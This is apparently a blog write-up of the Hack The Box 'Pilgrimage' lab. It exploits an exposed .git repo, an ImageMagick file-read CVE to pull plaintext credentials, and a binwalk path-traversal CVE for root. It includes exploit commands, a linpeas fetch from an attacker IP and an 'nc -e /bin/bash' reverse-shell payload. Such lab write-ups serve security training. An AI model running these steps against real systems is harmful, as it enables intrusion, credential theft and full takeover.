> ## Content Index
> Fetch the complete content index at: https://onurcangenc.com.tr/llms.txt
> Use this file to discover other available public pages before exploring further.

# HTB Pilgrimage
- URL: https://onurcangenc.com.tr/research/htb-pilgrimage/
- Published: 2026-11-23T20:12:02.000Z
- Updated: 2026-11-23T20:12:02.000Z
- Author: Onurcan Genc

## 1\. Recon

### hosts entry

```
10.129.79.137 pilgrimage.htb
```

![](https://onurcangenc.com.tr/content/images/2026/11/image.png)

hosts

### Port scan

```
sudo nmap -sV -A --max-rate=10000 pilgrimage.htb
```

- 22: OpenSSH 8.4p1 Debian 5+deb11u1 → **Debian 11 (bullseye)**
- 80: nginx 1.18.0, title `Pilgrimage - Shrink Your Images`
- **nmap's own `http-git` script already found the treasure: `/.git/` exposed at the web root**, last commit message "Pilgrimage image shrinking service initial commit"
- `PHPSESSID` cookie without httponly → PHP app

![](https://onurcangenc.com.tr/content/images/2026/11/image-1.png)

nmap

The exposed `.git/` is the box's loudest signal, source dump is the obvious next step.

### Web app

Image shrinker: register, upload a file, the service shrinks it. Logged in as `Ogog`, Dashboard tab present. Footer says TemplateMo, 2022.

![](https://onurcangenc.com.tr/content/images/2026/11/image-2.png)

web app

### Wrong-technique note: PHP reverse shell upload

pentestmonkey's `php-reverse-shell.php` was uploaded via the shrinker, the app accepted it but treated it as an ordinary image (the shrunk result came back as a picture, no execution). Read: **uploads are never executed as PHP.** The shrinker hands files to ImageMagick and stores the shrunk output; there is no PHP interpreter touching the upload. This box's foothold is not upload-execution, it is ImageMagick itself (roadmap hint: CVE-2022-44268 arbitrary file read). The `.git/` dump will confirm the mechanism.

### Wrong-technique attempts, for the record

Before the source dump, three upload bypass attempts went nowhere: bare `php-reverse-shell.php`, `shell.php.jpg`, `shell.php5`, penelope listened, nothing ever connected. Consistent with the read above: there is no PHP execution anywhere in the upload chain, so no extension variant can matter.

![](https://onurcangenc.com.tr/content/images/2026/11/image-3.png)

PHP shell attempts

## 2\. Git dump: the repo ships its own weapon

git-dumper against the exposed repo (tool: [https://github.com/arthaud/git-dumper](https://github.com/arthaud/git-dumper?ref=onurcangenc.com.tr)). Directory listing on `/.git/` is 403, but the tool works around it by fetching known files, `.git/HEAD` and `.git/index` come back 200 and that is all it needs.

![](https://onurcangenc.com.tr/content/images/2026/11/image-4.png)

git-dumper

Repo lands:

```
assets  dashboard.php  index.php  login.php  logout.php  magick  register.php  vendor
```

The loudest file in the listing: **`magick`**, the ImageMagick binary ships inside the repo. No version guessing needed; the exact interpreter of uploaded files is sitting right there.

![](https://onurcangenc.com.tr/content/images/2026/11/image-5.png)

repo contents

ImageMagick attack surface reference: [https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/imagemagick-security.html](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/imagemagick-security.html?ref=onurcangenc.com.tr)

### Version pinned: 7.1.0-49 beta

The AppImage refuses to run without FUSE (`libfuse.so.2` missing), but it does not need to run, `--appimage-extract` unpacks it, and `AppRun --version` answers:

```
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911
```

![](https://onurcangenc.com.tr/content/images/2026/11/image-6.png)

![](https://onurcangenc.com.tr/content/images/2026/11/image-7.png)

**7.1.0-49 beta is the exact vulnerable build for CVE-2022-44268** (arbitrary file read via crafted PNG). The delegate format sweep from the HackTricks page came back with the usual PostScript/SVG/MSL inventory, but this box does not need a delegate bug, the file-read CVE is enough.

![](https://onurcangenc.com.tr/content/images/2026/11/image-8.png)

format sweep

## 3\. Arbitrary file read to credentials

The PoC (voidz0r's Rust generator, [https://git.rotfl.io/v/CVE-2022-44268](https://git.rotfl.io/v/CVE-2022-44268?ref=onurcangenc.com.tr)) builds the payload PNG: the argument is a **file path**, not a command, the tool embeds it as the `profile` chunk and the server's ImageMagick reads it during the shrink.

First read, `/etc/passwd`. One real user:

```
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
```

![](https://onurcangenc.com.tr/content/images/2026/11/image-9.png)

passwd read.

Second read, the database. The path was not guessed, it came from the dumped source: `dashboard.php` opens `PDO('sqlite:/var/db/pilgrimage')`.

![](https://onurcangenc.com.tr/content/images/2026/11/image-10.png)

dashboard source

![](https://onurcangenc.com.tr/content/images/2026/11/image-11.png)

sqlite reference

Two stumbles on the way to the credential, both kept:

1. **`cargo run "cat /var/db/pilgrimage"` reads nothing.** The argument is a path, not a shell command, the server looked for a file literally named `cat /var/db/pilgrimage`. Bare path: `cargo run "/var/db/pilgrimage"`.

![](https://onurcangenc.com.tr/content/images/2026/11/image-12.png)

1. **CyberChef's From Hex mangled the binary blob**, `sqlite3 pilgrimage.sqlite` answered `file is not a database (26)`. The decode loses the header alignment (control characters ride along at the start of the metadata). CyberChef itself at least confirmed what the blob was: From Hex + Detect File Type answered `SQLite / application/x-sqlite3`.

![](https://onurcangenc.com.tr/content/images/2026/11/image-13.png)

cyberchef detects sqlite

![](https://onurcangenc.com.tr/content/images/2026/11/image-14.png)

sqlite parse error

The pragmatic shortcut: skip rebuilding the database, decode the hex and read the strings. The users table stores credentials in **plaintext**, and the strings dump shows username and password columns side by side:

```
emilyabigchonkyboi123
```

Split at the column boundary: user `emily`, password `abigchonkyboi123`.

![](https://onurcangenc.com.tr/content/images/2026/11/image-15.png)

hex to string

## 4\. User: emily

```
ssh emily@pilgrimage.htb      # abigchonkyboi123
```

First command on the shell, per the standing rule:

```
emily@pilgrimage:~$ cat /home/emily/user.txt
77c706a49b420460aa678ed73c52b615
```

![](https://onurcangenc.com.tr/content/images/2026/11/image-16.png)

ssh emily, user flag

User flag banked before any privesc work, the CozyHosting lesson applied. One password typo on the first SSH attempt, second try clean.

## 5\. Root hunt: linpeas finds the scanner

Session continued 2026-11-10\. linpeas pulled to the box and run:

```
emily@pilgrimage:~$ curl -o linpeas.sh http://10.10.14.204:1212/linpeas.sh
emily@pilgrimage:~$ chmod +x linpeas.sh
emily@pilgrimage:~$ ./linpeas.sh
```

First privesc door closed, emily has no sudo rights:

```
emily@pilgrimage:~$ sudo -l
[sudo] password for emily: 
Sorry, user emily may not run sudo on pilgrimage.
```

![](https://onurcangenc.com.tr/content/images/2026/11/image-17.png)

![](https://onurcangenc.com.tr/content/images/2026/11/image-18.png)

Binwalk CVE-2022-4510 (path traversal in the PFS extraction handler). With sudo off the table, the target is what runs in the background, the box's known pattern is a root process scanning uploaded files.

linpeas process tree answered it:

![](https://onurcangenc.com.tr/content/images/2026/11/image-19.png)

linpeas process tree, malwarescan.sh under root

```
root       685  0.0  0.0   6816  3076 ?        Ss   02:08   0:00 /bin/bash /usr/sbin/malwarescan.sh
root       717  0.0  0.0   2516  712 ?        S    02:08   0:00  \_ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root       718  0.0  0.0   6816  248 ?        S    02:08   0:00  \_ /bin/bash /usr/sbin/malwarescan.sh
```

Root runs `malwarescan.sh`, which watches `/var/www/pilgrimage.htb/shrunk/` with inotifywait for `create` events, every shrunk image gets scanned. The watch path is the uploads output dir emily (via www-data) can write into. Next: read the script.

The script itself:

![](https://onurcangenc.com.tr/content/images/2026/11/image-20.png)

malwarescan.sh, part 1

![](https://onurcangenc.com.tr/content/images/2026/11/image-21.png)

malwarescan.sh, part 2

```
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
    filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"`
    binout="$(/usr/local/bin/binwalk -e "$filename")"
    for banned in "${blacklist[@]}"; do
        if [[ "$binout" == *"$banned"* ]]; then
            /usr/bin/rm "$filename"
            break
        fi
    done
done
```

Root runs `binwalk -e` on every new file in `shrunk/`, the exact setup CVE-2022-4510 (binwalk 2.1.2b-2.3.3 PFS extractor path traversal) targets. Exploit plan: craft a PFS file whose embedded entry name traverses to `../../../.config/binwalk/plugins/binwalk.py` (resolves to `/root/.config/binwalk/plugins/binwalk.py`); binwalk imports everything in its plugin folder at startup, so the plugin's code runs as root on the next scan. One version check: `apt policy binwalk` answers `Installed: (none)`, the scanner's `/usr/local/bin/binwalk` was deployed manually, not from the repo, which is why apt shows 2.3.1 while the running binary is 2.3.2\. Mechanics note: the plugin is imported at binwalk *startup*, so the file that plants it is scanned by run 1 and a second dropped file guarantees run 2 imports and executes it.

![](https://onurcangenc.com.tr/content/images/2026/11/image-22.png)

apt policy: binwalk not from apt, manual deploy

## 6\. Root: the scanner imports what I plant

The root scanner runs `binwalk -e` on everything in `shrunk/`, and binwalk 2.3.2 is in the CVE-2022-4510 range (2.1.2b-2.3.3), path traversal in the PFS extractor, so a crafted PFS file writes anywhere root's binwalk can write, and binwalk imports everything in `~/.config/binwalk/plugins` at startup.

Payload generation: Etienne Lacoche's PoC (ExploitDB 51249, discovery credited to Q. Kaiser, ONEKEY Research Lab). The PFS header is a fixed 156-byte blob whose embedded entry name is `../../../.config/binwalk/plugins/binwalk.py`; the PoC appends it (plus the Python plugin body) after any PNG:

```
python3 51249.py og.png 10.10.14.204 31
```

The plugin body is the PoC's default: on import, `nc <ip> 31 -e /bin/bash 2>/dev/null &` once (guarded by a `/tmp/.binwalk` marker file; a second import deletes the marker, the plugin and its `__pycache__`, self-destruct by design).

### Failed attempts on the way, kept for the record

- **Wrong IP argument:** first run was `python3 51249.py og.png pilgrimage.htb 31`, the second argument is embedded in the plugin's nc command, so root's nc dialed the target itself, not the attacker box. Argument must be the listener IP.

![](https://onurcangenc.com.tr/content/images/2026/11/image-29.png)

exploit generation, wrong-IP run visible

- **Web-upload trap:** an early attempt pushed the payload through the site's shrinker. ImageMagick re-encodes the image and discards everything after the PNG IEND marker, so the appended PFS header and plugin code never reached `shrunk/`. The delivery has to be a plain file drop (curl/scp + mv/cp straight into the watched directory), bytes intact.
- **Listener timing:** the payload suppresses nc's stderr (`2>/dev/null`), so a dead or busy listener fails invisibly. The listener has to be up before the second file lands.
- **Self-destruct race:** the PoC's marker logic makes the *third* import delete the plugin. An early attempt dropped three files; the run that fired the shell is a two-file drop, nothing more.

![](https://onurcangenc.com.tr/content/images/2026/11/image-26.png)

early delivery rounds into shrunk

![](https://onurcangenc.com.tr/content/images/2026/11/image-27.png)

delivery round 2

![](https://onurcangenc.com.tr/content/images/2026/11/image-28.png)

delivery round 3

Delivery, the part that decides the whole exploit: the payload file must NOT go through the web shrinker. Uploading it via the site hands it to ImageMagick, which re-encodes the image and throws away everything after the PNG IEND marker, the appended PFS header and plugin code get stripped, and root's binwalk sees a clean PNG. The file goes straight onto the disk into the watched directory instead, bytes intact (extension irrelevant; binwalk reads content):

```
emily@pilgrimage:/tmp$ curl -O http://10.10.14.204:1212/binwalk_exploit.png
emily@pilgrimage:/tmp$ mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/c1
emily@pilgrimage:/tmp$ cp /var/www/pilgrimage.htb/shrunk/c1 /var/www/pilgrimage.htb/shrunk/c2
```

![](https://onurcangenc.com.tr/content/images/2026/11/image-25.png)

final delivery, correct IP payload, c1 and c2

Root shell on the listener:

```
$ whoami
root
$ cat /root/root.txt
ccc6bf855d299ccac4040bf19e2484a6
```

Root flag: `ccc6bf855d299ccac4040bf19e2484a6`.

**May The Pentest Be With You Guys ! ! !**

## References

- HackTricks, ImageMagick security: [https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/imagemagick-security.html](https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/imagemagick-security.html?ref=onurcangenc.com.tr)
- arthaud, git-dumper: [https://github.com/arthaud/git-dumper](https://github.com/arthaud/git-dumper?ref=onurcangenc.com.tr)
- voidz0r, CVE-2022-44268 PoC: [https://git.rotfl.io/v/CVE-2022-44268](https://git.rotfl.io/v/CVE-2022-44268?ref=onurcangenc.com.tr) ([https://github.com/voidz0r/CVE-2022-44268](https://github.com/voidz0r/CVE-2022-44268?ref=onurcangenc.com.tr))
- hextostring.com, hex decode used for the DB blob (CyberChef From Hex corrupted the binary; web tool handled it)
- Etienne Lacoche, Binwalk 2.3.2 RCE PoC (CVE-2022-4510), ExploitDB 51249: [https://www.exploit-db.com/exploits/51249](https://www.exploit-db.com/exploits/51249?ref=onurcangenc.com.tr)
- GitHub Advisory GHSA-3cm8-v4mc-gppg, binwalk path traversal: [https://github.com/advisories/GHSA-3cm8-v4mc-gppg](https://github.com/advisories/GHSA-3cm8-v4mc-gppg?ref=onurcangenc.com.tr)
- Bryan McNulty, HTB Pilgrimage writeup: [https://bryanmcnulty.com/posts/htb-pilgrimage](https://bryanmcnulty.com/posts/htb-pilgrimage?ref=onurcangenc.com.tr)
- NVD, CVE-2022-4510: [https://nvd.nist.gov/vuln/detail/CVE-2022-4510](https://nvd.nist.gov/vuln/detail/CVE-2022-4510?ref=onurcangenc.com.tr)